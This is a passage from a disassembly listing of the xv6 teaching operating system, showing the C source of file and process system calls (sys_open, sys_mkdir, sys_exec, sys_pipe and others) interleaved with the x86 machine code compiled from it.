0x58(%ebx),%edi 80104fd6: 0f 83 77 ff ff ff jae 80104f53 <sys_unlink+0xb3> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104fdc: 8d 45 d8 lea -0x28(%ebp),%eax 80104fdf: 6a 10 push $0x10 80104fe1: 57 push %edi 80104fe2: 50 push %eax 80104fe3: 53 push %ebx 80104fe4: e8 77 c9 ff ff call 80101960 <readi> 80104fe9: 83 c4 10 add $0x10,%esp 80104fec: 83 f8 10 cmp $0x10,%eax 80104fef: 75 5e jne 8010504f <sys_unlink+0x1af> if(de.inum != 0) 80104ff1: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104ff6: 74 d8 je 80104fd0 <sys_unlink+0x130> iunlockput(ip); 80104ff8: 83 ec 0c sub $0xc,%esp 80104ffb: 53 push %ebx 80104ffc: e8 0f c9 ff ff call 80101910 <iunlockput> goto bad; 80105001: 83 c4 10 add $0x10,%esp iunlockput(dp); 80105004: 83 ec 0c sub $0xc,%esp 80105007: 56 push %esi 80105008: e8 03 c9 ff ff call 80101910 <iunlockput> end_op(); 8010500d: e8 fe db ff ff call 80102c10 <end_op> return -1; 80105012: 83 c4 10 add $0x10,%esp 80105015: b8 ff ff ff ff mov $0xffffffff,%eax 8010501a: eb 95 jmp 80104fb1 <sys_unlink+0x111> 8010501c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi dp->nlink--; 80105020: 66 83 6e 56 01 subw $0x1,0x56(%esi) iupdate(dp); 80105025: 83 ec 0c sub $0xc,%esp 80105028: 56 push %esi 80105029: e8 a2 c5 ff ff call 801015d0 <iupdate> 8010502e: 83 c4 10 add $0x10,%esp 80105031: e9 53 ff ff ff jmp 80104f89 <sys_unlink+0xe9> return -1; 80105036: b8 ff ff ff ff mov $0xffffffff,%eax 8010503b: e9 71 ff ff ff jmp 80104fb1 <sys_unlink+0x111> end_op(); 80105040: e8 cb db ff ff call 80102c10 <end_op> return -1; 80105045: b8 ff ff ff ff mov $0xffffffff,%eax 8010504a: e9 62 ff ff ff jmp 80104fb1 <sys_unlink+0x111> panic("isdirempty: readi"); 8010504f: 83 ec 0c sub $0xc,%esp 80105052: 68 e4 77 10 80 push $0x801077e4 80105057: e8 34 b3 ff ff call 80100390 <panic> panic("unlink: nlink < 1"); 8010505c: 83 ec 0c sub $0xc,%esp 8010505f: 68 d2 77 10 80 push $0x801077d2 80105064: e8 27 b3 ff ff call 80100390 <panic> panic("unlink: writei"); 80105069: 83 ec 0c sub $0xc,%esp 8010506c: 68 f6 77 10 80 push $0x801077f6 80105071: e8 1a b3 ff ff call 80100390 <panic> 80105076: 8d 76 00 lea 0x0(%esi),%esi 80105079: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105080 <sys_open>: int sys_open(void) { 80105080: 55 push %ebp 80105081: 89 e5 mov %esp,%ebp 80105083: 57 push %edi 80105084: 56 push %esi 80105085: 53 push %ebx char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80105086: 8d 45 e0 lea -0x20(%ebp),%eax { 80105089: 83 ec 24 sub $0x24,%esp if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 8010508c: 50 push %eax 8010508d: 6a 00 push $0x0 8010508f: e8 3c f8 ff ff call 801048d0 <argstr> 80105094: 83 c4 10 add $0x10,%esp 80105097: 85 c0 test %eax,%eax 80105099: 0f 88 1d 01 00 00 js 801051bc <sys_open+0x13c> 8010509f: 8d 45 e4 lea -0x1c(%ebp),%eax 801050a2: 83 ec 08 sub $0x8,%esp 801050a5: 50 push %eax 801050a6: 6a 01 push $0x1 801050a8: e8 73 f7 ff ff call 80104820 <argint> 801050ad: 83 c4 10 add $0x10,%esp 801050b0: 85 c0 test %eax,%eax 801050b2: 0f 88 04 01 00 00 js 801051bc <sys_open+0x13c> return -1; begin_op(); 801050b8: e8 e3 da ff ff call 80102ba0 <begin_op> if(omode & O_CREATE){ 801050bd: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 801050c1: 0f 85 a9 00 00 00 jne 80105170 <sys_open+0xf0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 801050c7: 83 ec 0c sub $0xc,%esp 801050ca: ff 75 e0 pushl -0x20(%ebp) 801050cd: e8 0e ce ff ff call 80101ee0 <namei> 801050d2: 83 c4 10 add $0x10,%esp 801050d5: 85 c0 test %eax,%eax 801050d7: 89 c6 mov %eax,%esi 801050d9: 0f 84 b2 00 00 00 je 80105191 <sys_open+0x111> end_op(); return -1; } ilock(ip); 801050df: 83 ec 0c sub $0xc,%esp 801050e2: 50 push %eax 801050e3: e8 98 c5 ff ff call 80101680 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 801050e8: 83 c4 10 add $0x10,%esp 801050eb: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 801050f0: 0f 84 aa 00 00 00 je 801051a0 <sys_open+0x120> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 801050f6: e8 85 bc ff ff call 80100d80 <filealloc> 801050fb: 85 c0 test %eax,%eax 801050fd: 89 c7 mov %eax,%edi 801050ff: 0f 84 a6 00 00 00 je 801051ab <sys_open+0x12b> struct proc *curproc = myproc(); 80105105: e8 d6 e6 ff ff call 801037e0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010510a: 31 db xor %ebx,%ebx 8010510c: eb 0e jmp 8010511c <sys_open+0x9c> 8010510e: 66 90 xchg %ax,%ax 80105110: 83 c3 01 add $0x1,%ebx 80105113: 83 fb 10 cmp $0x10,%ebx 80105116: 0f 84 ac 00 00 00 je 801051c8 <sys_open+0x148> if(curproc->ofile[fd] == 0){ 8010511c: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80105120: 85 d2 test %edx,%edx 80105122: 75 ec jne 80105110 <sys_open+0x90> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105124: 83 ec 0c sub $0xc,%esp curproc->ofile[fd] = f; 80105127: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4) iunlock(ip); 8010512b: 56 push %esi 8010512c: e8 2f c6 ff ff call 80101760 <iunlock> end_op(); 80105131: e8 da da ff ff call 80102c10 <end_op> f->type = FD_INODE; 80105136: c7 07 02 00 00 00 movl $0x2,(%edi) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 8010513c: 8b 55 e4 mov -0x1c(%ebp),%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 8010513f: 83 c4 10 add $0x10,%esp f->ip = ip; 80105142: 89 77 10 mov %esi,0x10(%edi) f->off = 0; 80105145: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) f->readable = !(omode & O_WRONLY); 8010514c: 89 d0 mov %edx,%eax 8010514e: f7 d0 not %eax 80105150: 83 e0 01 and $0x1,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105153: 83 e2 03 and $0x3,%edx f->readable = !(omode & O_WRONLY); 80105156: 88 47 08 mov %al,0x8(%edi) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80105159: 0f 95 47 09 setne 0x9(%edi) return fd; } 8010515d: 8d 65 f4 lea -0xc(%ebp),%esp 80105160: 89 d8 mov %ebx,%eax 80105162: 5b pop %ebx 80105163: 5e pop %esi 80105164: 5f pop %edi 80105165: 5d pop %ebp 80105166: c3 ret 80105167: 89 f6 mov %esi,%esi 80105169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip = create(path, T_FILE, 0, 0); 80105170: 83 ec 0c sub $0xc,%esp 80105173: 8b 45 e0 mov -0x20(%ebp),%eax 80105176: 31 c9 xor %ecx,%ecx 80105178: 6a 00 push $0x0 8010517a: ba 02 00 00 00 mov $0x2,%edx 8010517f: e8 ec f7 ff ff call 80104970 <create> if(ip == 0){ 80105184: 83 c4 10 add $0x10,%esp 80105187: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 80105189: 89 c6 mov %eax,%esi if(ip == 0){ 8010518b: 0f 85 65 ff ff ff jne 801050f6 <sys_open+0x76> end_op(); 80105191: e8 7a da ff ff call 80102c10 <end_op> return -1; 80105196: bb ff ff ff ff mov $0xffffffff,%ebx 8010519b: eb c0 jmp 8010515d <sys_open+0xdd> 8010519d: 8d 76 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 801051a0: 8b 4d e4 mov -0x1c(%ebp),%ecx 801051a3: 85 c9 test %ecx,%ecx 801051a5: 0f 84 4b ff ff ff je 801050f6 <sys_open+0x76> iunlockput(ip); 801051ab: 83 ec 0c sub $0xc,%esp 801051ae: 56 push %esi 801051af: e8 5c c7 ff ff call 80101910 <iunlockput> end_op(); 801051b4: e8 57 da ff ff call 80102c10 <end_op> return -1; 801051b9: 83 c4 10 add $0x10,%esp 801051bc: bb ff ff ff ff mov $0xffffffff,%ebx 801051c1: eb 9a jmp 8010515d <sys_open+0xdd> 801051c3: 90 nop 801051c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi fileclose(f); 801051c8: 83 ec 0c sub $0xc,%esp 801051cb: 57 push %edi 801051cc: e8 6f bc ff ff call 80100e40 <fileclose> 801051d1: 83 c4 10 add $0x10,%esp 801051d4: eb d5 jmp 801051ab <sys_open+0x12b> 801051d6: 8d 76 00 lea 0x0(%esi),%esi 801051d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801051e0 <sys_mkdir>: int sys_mkdir(void) { 801051e0: 55 push %ebp 801051e1: 89 e5 mov %esp,%ebp 801051e3: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 801051e6: e8 b5 d9 ff ff call 80102ba0 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 801051eb: 8d 45 f4 lea -0xc(%ebp),%eax 801051ee: 83 ec 08 sub $0x8,%esp 801051f1: 50 push %eax 801051f2: 6a 00 push $0x0 801051f4: e8 d7 f6 ff ff call 801048d0 <argstr> 801051f9: 83 c4 10 add $0x10,%esp 801051fc: 85 c0 test %eax,%eax 801051fe: 78 30 js 80105230 <sys_mkdir+0x50> 80105200: 83 ec 0c sub $0xc,%esp 80105203: 8b 45 f4 mov -0xc(%ebp),%eax 80105206: 31 c9 xor %ecx,%ecx 80105208: 6a 00 push $0x0 8010520a: ba 01 00 00 00 mov $0x1,%edx 8010520f: e8 5c f7 ff ff call 80104970 <create> 80105214: 83 c4 10 add $0x10,%esp 80105217: 85 c0 test %eax,%eax 80105219: 74 15 je 80105230 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 8010521b: 83 ec 0c sub $0xc,%esp 8010521e: 50 push %eax 8010521f: e8 ec c6 ff ff call 80101910 <iunlockput> end_op(); 80105224: e8 e7 d9 ff ff call 80102c10 <end_op> return 0; 80105229: 83 c4 10 add $0x10,%esp 8010522c: 31 c0 xor %eax,%eax } 8010522e: c9 leave 8010522f: c3 ret end_op(); 80105230: e8 db d9 ff ff call 80102c10 <end_op> return -1; 80105235: b8 ff ff ff ff mov $0xffffffff,%eax } 8010523a: c9 leave 8010523b: c3 ret 8010523c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105240 <sys_mknod>: int sys_mknod(void) { 80105240: 55 push %ebp 80105241: 89 e5 mov %esp,%ebp 80105243: 83 ec 18 sub $0x18,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80105246: e8 55 d9 ff ff call 80102ba0 <begin_op> if((argstr(0, &path)) < 0 || 8010524b: 8d 45 ec lea -0x14(%ebp),%eax 8010524e: 83 ec 08 sub $0x8,%esp 80105251: 50 push %eax 80105252: 6a 00 push $0x0 80105254: e8 77 f6 ff ff call 801048d0 <argstr> 80105259: 83 c4 10 add $0x10,%esp 8010525c: 85 c0 test %eax,%eax 8010525e: 78 60 js 801052c0 <sys_mknod+0x80> argint(1, &major) < 0 || 80105260: 8d 45 f0 lea -0x10(%ebp),%eax 80105263: 83 ec 08 sub $0x8,%esp 80105266: 50 push %eax 80105267: 6a 01 push $0x1 80105269: e8 b2 f5 ff ff call 80104820 <argint> if((argstr(0, &path)) < 0 || 8010526e: 83 c4 10 add $0x10,%esp 80105271: 85 c0 test %eax,%eax 80105273: 78 4b js 801052c0 <sys_mknod+0x80> argint(2, &minor) < 0 || 80105275: 8d 45 f4 lea -0xc(%ebp),%eax 80105278: 83 ec 08 sub $0x8,%esp 8010527b: 50 push %eax 8010527c: 6a 02 push $0x2 8010527e: e8 9d f5 ff ff call 80104820 <argint> argint(1, &major) < 0 || 80105283: 83 c4 10 add $0x10,%esp 80105286: 85 c0 test %eax,%eax 80105288: 78 36 js 801052c0 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 8010528a: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 8010528e: 83 ec 0c sub $0xc,%esp (ip = create(path, T_DEV, major, minor)) == 0){ 80105291: 0f bf 4d f0 movswl -0x10(%ebp),%ecx argint(2, &minor) < 0 || 80105295: ba 03 00 00 00 mov $0x3,%edx 8010529a: 50 push %eax 8010529b: 8b 45 ec mov -0x14(%ebp),%eax 8010529e: e8 cd f6 ff ff call 80104970 <create> 801052a3: 83 c4 10 add $0x10,%esp 801052a6: 85 c0 test %eax,%eax 801052a8: 74 16 je 801052c0 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 801052aa: 83 ec 0c sub $0xc,%esp 801052ad: 50 push %eax 801052ae: e8 5d c6 ff ff call 80101910 <iunlockput> end_op(); 801052b3: e8 58 d9 ff ff call 80102c10 <end_op> return 0; 801052b8: 83 c4 10 add $0x10,%esp 801052bb: 31 c0 xor %eax,%eax } 801052bd: c9 leave 801052be: c3 ret 801052bf: 90 nop end_op(); 801052c0: e8 4b d9 ff ff call 80102c10 <end_op> return -1; 801052c5: b8 ff ff ff ff mov $0xffffffff,%eax } 801052ca: c9 leave 801052cb: c3 ret 801052cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801052d0 <sys_chdir>: int sys_chdir(void) { 801052d0: 55 push %ebp 801052d1: 89 e5 mov %esp,%ebp 801052d3: 56 push %esi 801052d4: 53 push %ebx 801052d5: 83 ec 10 sub $0x10,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 801052d8: e8 03 e5 ff ff call 801037e0 <myproc> 801052dd: 89 c6 mov %eax,%esi begin_op(); 801052df: e8 bc d8 ff ff call 80102ba0 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 801052e4: 8d 45 f4 lea -0xc(%ebp),%eax 801052e7: 83 ec 08 sub $0x8,%esp 801052ea: 50 push %eax 801052eb: 6a 00 push $0x0 801052ed: e8 de f5 ff ff call 801048d0 <argstr> 801052f2: 83 c4 10 add $0x10,%esp 801052f5: 85 c0 test %eax,%eax 801052f7: 78 77 js 80105370 <sys_chdir+0xa0> 801052f9: 83 ec 0c sub $0xc,%esp 801052fc: ff 75 f4 pushl -0xc(%ebp) 801052ff: e8 dc cb ff ff call 80101ee0 <namei> 80105304: 83 c4 10 add $0x10,%esp 80105307: 85 c0 test %eax,%eax 80105309: 89 c3 mov %eax,%ebx 8010530b: 74 63 je 80105370 <sys_chdir+0xa0> end_op(); return -1; } ilock(ip); 8010530d: 83 ec 0c sub $0xc,%esp 80105310: 50 push %eax 80105311: e8 6a c3 ff ff call 80101680 <ilock> if(ip->type != T_DIR){ 80105316: 83 c4 10 add $0x10,%esp 80105319: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 8010531e: 75 30 jne 80105350 <sys_chdir+0x80> iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105320: 83 ec 0c sub $0xc,%esp 80105323: 53 push %ebx 80105324: e8 37 c4 ff ff call 80101760 <iunlock> iput(curproc->cwd); 80105329: 58 pop %eax 8010532a: ff 76 68 pushl 0x68(%esi) 8010532d: e8 7e c4 ff ff call 801017b0 <iput> end_op(); 80105332: e8 d9 d8 ff ff call 80102c10 <end_op> curproc->cwd = ip; 80105337: 89 5e 68 mov %ebx,0x68(%esi) return 0; 8010533a: 83 c4 10 add $0x10,%esp 8010533d: 31 c0 xor %eax,%eax } 8010533f: 8d 65 f8 lea -0x8(%ebp),%esp 80105342: 5b pop %ebx 80105343: 5e pop %esi 80105344: 5d pop %ebp 80105345: c3 ret 80105346: 8d 76 00 lea 0x0(%esi),%esi 80105349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi iunlockput(ip); 80105350: 83 ec 0c sub $0xc,%esp 80105353: 53 push %ebx 80105354: e8 b7 c5 ff ff call 80101910 <iunlockput> end_op(); 80105359: e8 b2 d8 ff ff call 80102c10 <end_op> return -1; 8010535e: 83 c4 10 add $0x10,%esp 80105361: b8 ff ff ff ff mov $0xffffffff,%eax 80105366: eb d7 jmp 8010533f <sys_chdir+0x6f> 80105368: 90 nop 80105369: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80105370: e8 9b d8 ff ff call 80102c10 <end_op> return -1; 80105375: b8 ff ff ff ff mov $0xffffffff,%eax 8010537a: eb c3 jmp 8010533f <sys_chdir+0x6f> 8010537c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105380 <sys_exec>: int sys_exec(void) { 80105380: 55 push %ebp 80105381: 89 e5 mov %esp,%ebp 80105383: 57 push %edi 80105384: 56 push %esi 80105385: 53 push %ebx char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105386: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax { 8010538c: 81 ec a4 00 00 00 sub $0xa4,%esp if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 80105392: 50 push %eax 80105393: 6a 00 push $0x0 80105395: e8 36 f5 ff ff call 801048d0 <argstr> 8010539a: 83 c4 10 add $0x10,%esp 8010539d: 85 c0 test %eax,%eax 8010539f: 0f 88 87 00 00 00 js 8010542c <sys_exec+0xac> 801053a5: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 801053ab: 83 ec 08 sub $0x8,%esp 801053ae: 50 push %eax 801053af: 6a 01 push $0x1 801053b1: e8 6a f4 ff ff call 80104820 <argint> 801053b6: 83 c4 10 add $0x10,%esp 801053b9: 85 c0 test %eax,%eax 801053bb: 78 6f js 8010542c <sys_exec+0xac> return -1; } memset(argv, 0, sizeof(argv)); 801053bd: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 801053c3: 83 ec 04 sub $0x4,%esp for(i=0;; i++){ 801053c6: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 801053c8: 68 80 00 00 00 push $0x80 801053cd: 6a 00 push $0x0 801053cf: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 801053d5: 50 push %eax 801053d6: e8 45 f1 ff ff call 80104520 <memset> 801053db: 83 c4 10 add $0x10,%esp 801053de: eb 2c jmp 8010540c <sys_exec+0x8c> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) return -1; if(uarg == 0){ 801053e0: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 801053e6: 85 c0 test %eax,%eax 801053e8: 74 56 je 80105440 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 801053ea: 8d 8d 68 ff ff ff lea -0x98(%ebp),%ecx 801053f0: 83 ec 08 sub $0x8,%esp 801053f3: 8d 14 31 lea (%ecx,%esi,1),%edx 801053f6: 52 push %edx 801053f7: 50 push %eax 801053f8: e8 b3 f3 ff ff call 801047b0 <fetchstr> 801053fd: 83 c4 10 add $0x10,%esp 80105400: 85 c0 test %eax,%eax 80105402: 78 28 js 8010542c <sys_exec+0xac> for(i=0;; i++){ 80105404: 83 c3 01 add $0x1,%ebx if(i >= NELEM(argv)) 80105407: 83 fb 20 cmp $0x20,%ebx 8010540a: 74 20 je 8010542c <sys_exec+0xac> if(fetchint(uargv+4*i, (int*)&uarg) < 0) 8010540c: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 80105412: 8d 34 9d 00 00 00 00 lea 0x0(,%ebx,4),%esi 80105419: 83 ec 08 sub $0x8,%esp 8010541c: 57 push %edi 8010541d: 01 f0 add %esi,%eax 8010541f: 50 push %eax 80105420: e8 4b f3 ff ff call 80104770 <fetchint> 80105425: 83 c4 10 add $0x10,%esp 80105428: 85 c0 test %eax,%eax 8010542a: 79 b4 jns 801053e0 <sys_exec+0x60> return -1; } return exec(path, argv); } 8010542c: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010542f: b8 ff ff ff ff mov $0xffffffff,%eax } 80105434: 5b pop %ebx 80105435: 5e pop %esi 80105436: 5f pop %edi 80105437: 5d pop %ebp 80105438: c3 ret 80105439: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return exec(path, argv); 80105440: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105446: 83 ec 08 sub $0x8,%esp argv[i] = 0; 80105449: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105450: 00 00 00 00 return exec(path, argv); 80105454: 50 push %eax 80105455: ff b5 5c ff ff ff pushl -0xa4(%ebp) 8010545b: e8 b0 b5 ff ff call 80100a10 <exec> 80105460: 83 c4 10 add $0x10,%esp } 80105463: 8d 65 f4 lea -0xc(%ebp),%esp 80105466: 5b pop %ebx 80105467: 5e pop %esi 80105468: 5f pop %edi 80105469: 5d pop %ebp 8010546a: c3 ret 8010546b: 90 nop 8010546c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105470 <sys_pipe>: int sys_pipe(void) { 80105470: 55 push %ebp 80105471: 89 e5 mov %esp,%ebp 80105473: 57 push %edi 80105474: 56 push %esi 80105475: 53 push %ebx int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105476: 8d 45 dc lea -0x24(%ebp),%eax { 80105479: 83 ec 20 sub $0x20,%esp if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 8010547c: 6a 08 push $0x8 8010547e: 50 push %eax 8010547f: 6a 00 push $0x0 80105481: e8 ea f3 ff ff call 80104870 <argptr> 80105486: 83 c4 10 add $0x10,%esp 80105489: 85 c0 test %eax,%eax 8010548b: 0f 88 ae 00 00 00 js 8010553f <sys_pipe+0xcf> return -1; if(pipealloc(&rf, &wf) < 0) 80105491: 8d 45 e4 lea -0x1c(%ebp),%eax 80105494: 83 ec 08 sub $0x8,%esp 80105497: 50 push %eax 80105498: 8d 45 e0 lea -0x20(%ebp),%eax 8010549b: 50 push %eax 8010549c: e8 9f dd ff ff call 80103240 <pipealloc> 801054a1: 83 c4 10 add $0x10,%esp 801054a4: 85 c0 test %eax,%eax 801054a6: 0f 88 93 00 00 00 js 8010553f <sys_pipe+0xcf> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801054ac: 8b 7d e0 mov -0x20(%ebp),%edi for(fd = 0; fd < NOFILE; fd++){ 801054af: 31 db xor %ebx,%ebx struct proc *curproc = myproc(); 801054b1: e8 2a e3 ff ff call 801037e0 <myproc> 801054b6: eb 10 jmp 801054c8 <sys_pipe+0x58> 801054b8: 90 nop 801054b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for(fd = 0; fd < NOFILE; fd++){ 801054c0: 83 c3 01 add $0x1,%ebx 801054c3: 83 fb 10 cmp $0x10,%ebx 801054c6: 74 60 je 80105528 <sys_pipe+0xb8> if(curproc->ofile[fd] == 0){ 801054c8: 8b 74 98 28 mov 0x28(%eax,%ebx,4),%esi 801054cc: 85 f6 test %esi,%esi 801054ce: 75 f0 jne 801054c0 <sys_pipe+0x50> curproc->ofile[fd] = f; 801054d0: 8d 73 08 lea 0x8(%ebx),%esi 801054d3: 89 7c b0 08 mov %edi,0x8(%eax,%esi,4) if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801054d7: 8b 7d e4 mov -0x1c(%ebp),%edi struct proc *curproc = myproc(); 801054da: e8 01 e3 ff ff call 801037e0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 801054df: 31 d2 xor %edx,%edx 801054e1: eb 0d jmp 801054f0 <sys_pipe+0x80> 801054e3: 90 nop 801054e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801054e8: 83 c2 01 add $0x1,%edx 801054eb: 83 fa 10 cmp $0x10,%edx 801054ee: 74 28 je 80105518 <sys_pipe+0xa8> if(curproc->ofile[fd] == 0){ 801054f0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 801054f4: 85 c9 test %ecx,%ecx 801054f6: 75 f0 jne 801054e8 <sys_pipe+0x78> curproc->ofile[fd] = f; 801054f8: 89 7c 90 28 mov %edi,0x28(%eax,%edx,4) myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 801054fc: 8b 45 dc mov -0x24(%ebp),%eax 801054ff: 89 18 mov %ebx,(%eax) fd[1] = fd1; 80105501: 8b 45 dc mov -0x24(%ebp),%eax 80105504: 89 50 04 mov %edx,0x4(%eax) return 0; 80105507: 31 c0 xor %eax,%eax } 80105509: 8d 65 f4 lea -0xc(%ebp),%esp 8010550c: 5b pop %ebx 8010550d: 5e pop %esi 8010550e: 5f pop %edi 8010550f: 5d pop %ebp 80105510: c3 ret 80105511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 80105518: e8 c3 e2 ff ff call 801037e0 <myproc> 8010551d: c7 44 b0 08 00 00 00 movl $0x0,0x8(%eax,%esi,4) 80105524: 00 80105525: 8d 76 00 lea 0x0(%esi),%esi fileclose(rf); 80105528: 83 ec 0c sub $0xc,%esp 8010552b: ff 75 e0 pushl -0x20(%ebp) 8010552e: e8 0d b9 ff ff call 80100e40 <fileclose> fileclose(wf); 80105533: 58 pop %eax 80105534: ff 75 e4 pushl -0x1c(%ebp) 80105537: e8 04 b9 ff ff call 80100e40 <fileclose> return -1; 8010553c: 83 c4 10 add $0x10,%esp 8010553f: b8 ff ff ff ff mov $0xffffffff,%eax 80105544: eb c3 jmp 80105509 <sys_pipe+0x99> 80105546: 66 90 xchg %ax,%ax 80105548: 66 90 xchg %ax,%ax 8010554a: 66 90 xchg %ax,%ax 8010554c: 66 90 xchg %ax,%ax 8010554e: 66 90 xchg %ax,%ax 80105550 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 80105550: 55 push %ebp 80105551: 89 e5 mov %esp,%ebp return fork(); } 80105553: 5d pop %ebp return fork(); 80105554: e9 27 e4 ff ff jmp 80103980 <fork> 80105559: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105560 <sys_exit>: int sys_exit(void) { 80105560: 55 push %ebp 80105561: 89 e5 mov %esp,%ebp 80105563: 83 ec 08 sub $0x8,%esp exit(); 80105566: e8 95 e6 ff ff call 80103c00 <exit> return 0; // not reached } 8010556b: 31 c0 xor %eax,%eax 8010556d: c9 leave 8010556e: c3 ret 8010556f: 90 nop 80105570 <sys_wait>: int sys_wait(void) { 80105570: 55 push %ebp 80105571: 89 e5 mov %esp,%ebp return wait(); } 80105573: 5d pop %ebp return wait(); 80105574: e9 c7 e8 ff ff jmp 80103e40 <wait> 80105579: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105580 <sys_kill>: int sys_kill(void) { 80105580: 55 push %ebp 80105581: 89 e5 mov %esp,%ebp 80105583: 83 ec 20 sub $0x20,%esp int pid; if(argint(0, &pid) < 0) 80105586: 8d 45 f4 lea -0xc(%ebp),%eax 80105589: 50 push %eax 8010558a: 6a 00 push $0x0 8010558c: e8 8f f2 ff ff call 80104820 <argint> 80105591: 83 c4 10 add $0x10,%esp 80105594: 85 c0 test %eax,%eax 80105596: 78 18 js 801055b0 <sys_kill+0x30> return -1; return kill(pid); 80105598: 83 ec 0c sub $0xc,%esp 8010559b: ff 75 f4 pushl -0xc(%ebp) 8010559e: e8 ed e9 ff ff call 80103f90 <kill> 801055a3: 83 c4 10 add $0x10,%esp } 801055a6: c9 leave 801055a7: c3 ret 801055a8: 90 nop 801055a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801055b0: b8 ff ff ff ff mov $0xffffffff,%eax } 801055b5: c9 leave 801055b6: c3 ret 801055b7: 89 f6 mov %esi,%esi 801055b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801055c0 <sys_getpid>: int sys_getpid(void) { 801055c0: 55 push %ebp 801055c1: 89 e5 mov %esp,%ebp 801055c3: 83 ec 08 sub $0x8,%esp return myproc()->pid; 801055c6: e8 15 e2 ff ff call 801037e0 <myproc> 801055cb: 8b 40 10 mov 0x10(%eax),%eax } 801055ce: c9 leave 801055cf: c3 ret 801055d0 <sys_sbrk>: int sys_sbrk(void) { 801055d0: 55 push %ebp 801055d1: 89 e5 mov %esp,%ebp 801055d3: 53 push %ebx int addr; int n; if(argint(0, &n) < 0) 801055d4: 8d 45 f4 lea -0xc(%ebp),%eax { 801055d7: 83 ec 1c sub $0x1c,%esp if(argint(0, &n) < 0) 801055da: 50 push %eax 801055db: 6a 00 push $0x0 801055dd: e8 3e f2 ff ff call 80104820 <argint> 801055e2: 83 c4 10 add $0x10,%esp 801055e5: 85 c0 test %eax,%eax 801055e7: 78 27 js 80105610 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 801055e9: 